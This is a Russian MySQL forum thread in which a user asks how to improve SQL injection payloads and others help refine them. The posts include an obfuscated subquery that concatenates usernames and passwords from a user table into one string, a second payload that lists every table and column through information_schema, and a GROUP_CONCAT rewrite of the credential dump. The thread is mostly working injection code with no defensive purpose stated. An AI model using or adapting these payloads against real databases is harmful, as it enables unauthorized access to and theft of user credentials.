Гость
Войти | Профиль | Очистить
Целевая тема:
Создать новую тему:
Автор:
Действия ...
Форумы / MySQL [игнор отключен] [закрыт для гостей] / sqli/постраничный вывод / 6 сообщений из 6, страница 1 из 1
06.07.2017, 23:49
    #39484155
abu.akbar
abu.akbar
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
sqli/постраничный вывод
Какие недостатки у моего способа и можно ли его переписать лучше?

Код: sql
1.
(select@ from(select@:=0x00,(select 1 from(select*from userdb limit 0,10)w where(@:=concat(@,username,0x3a,password,0x0a))))q)



Задача: за один запрос выбрать определенное количество рядов из базы в виде строки.
...
Рейтинг: 0 / 0
| Ответить | Цитировать | Написать  
07.07.2017, 00:22
    #39484159
miksoft
miksoft
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
sqli/постраничный вывод
Для читабельности хорошо бы расставить пробелы и убрать лишние скобки.

Присвоение в секции where реально работает? не знал такого...

И LIMIT без ORDER BY - рулетка!
...
Рейтинг: 0 / 0
| Ответить | Цитировать | Написать  
07.07.2017, 07:52
    #39484193
Akina
Akina
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
sqli/постраничный вывод
abu.akbarможно ли его переписать лучше?
Ну получится что-то типа
Код: sql
1.
2.
3.
4.
5.
6.
SELECT REPLACE(CONCAT(0x00, GROUP_CONCAT(CONCAT_WS('', username, 0x3a, password, 0x0a))), CONCAT(0x0a, ','), 0x0a)
FROM ( SELECT username, password
       FROM userdb 
       /* ORDER BY somefield */
       LIMIT 0, 10
     ) q


Вот только при 10 записях имхо можно не заморачиваться...
...
Рейтинг: 0 / 0
| Ответить | Цитировать | Написать  
08.07.2017, 21:56
    #39485209
abu.akbar
abu.akbar
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
sqli/постраничный вывод
miksoft,

Код: sql
1.
(select(@)from(select(@:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(@)in(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))))x)
...
Рейтинг: 0 / 0
| Ответить | Цитировать | Написать  
08.07.2017, 21:57
    #39485210
abu.akbar
abu.akbar
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
sqli/постраничный вывод
Akina, у груп конкат ограничение 1024 байта. сразу не подходит
...
Рейтинг: 0 / 0
| Ответить | Цитировать | Написать  
09.07.2017, 22:23
    #39485408
miksoft
miksoft
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
sqli/постраничный вывод
abu.akbarу груп конкат ограничение 1024 байтаНу так можно и поменять .
...
Рейтинг: 0 / 0
| Ответить | Цитировать | Написать  
Форумы / MySQL [игнор отключен] [закрыт для гостей] / sqli/постраничный вывод / 6 сообщений из 6, страница 1 из 1
Найденые пользователи ...
Разблокировать пользователей ...
Читали тему (0):
Читали форум (0):
Пользователи онлайн (0):
Польз. соглашение  
Полит. конфиден.  
созд. / загр.: 265ms
Закрыть
start [/forum/topic.php?fid=47&mobile=1&tid=1830554]:
 0ms
get settings:
 5ms
get forum list:
 10ms
check forum access:
 2ms
check topic access:
 2ms
track hit:
 26ms
get topic data:
 7ms
get forum data:
 1ms
get page messages:
 24ms
get tp. blocked users:
 1ms
others: 187ms
total:  265ms
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]